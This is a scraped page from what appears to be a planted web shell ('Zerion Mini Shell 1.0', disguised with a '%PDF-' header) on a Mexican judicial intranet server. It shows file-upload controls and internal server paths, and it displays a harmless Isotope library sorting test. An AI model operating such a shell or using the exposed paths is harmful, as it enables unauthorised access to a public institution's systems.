%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/common/vendors/isotope/test/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/common/vendors/isotope/test/sorting.js

(function () {

    'use strict';

    function getItemsText(iso) {
        var texts = [];
        for (var i = 0, len = iso.filteredItems.length; i < len; i++) {
            var item = iso.filteredItems[i];
            texts.push(getText(item.element));
        }
        return texts.join(',');
    }

    test('sorting', function () {

        // sorting with history
        (function () {
            var iso = new Isotope('#sorting1', {
                layoutMode: 'fitRows',
                transitionDuration: 0,
                getSortData: {
                    letter: 'b',
                    number: 'i'
                },
                sortBy: 'number'
            });

            iso.arrange({ sortBy: 'letter' });

            var texts = getItemsText(iso);

            equal(texts, 'A1,A2,A3,A4,B1,B2,B4', 'items sorted by letter, then number, via history');

            iso.destroy();
        })();

        // sorting with array
        (function () {
            var iso = new Isotope('#sorting1', {
                layoutMode: 'fitRows',
                transitionDuration: 0,
                getSortData: {
                    letter: 'b',
                    number: 'i'
                },
                sortBy: [ 'letter', 'number' ]
            });

            equal(getItemsText(iso), 'A1,A2,A3,A4,B1,B2,B4', 'sortBy array');

            iso.arrange({
                sortAscending: false
            });
            equal(getItemsText(iso), 'B4,B2,B1,A4,A3,A2,A1', 'sortAscending false');

            iso.arrange({
                sortAscending: {
                    letter: true,
                    number: false
                }
            });
            equal(getItemsText(iso), 'A4,A3,A2,A1,B4,B2,B1', 'sortAscending with object');

            iso.destroy();
        })();

    });

})();

Zerion Mini Shell 1.0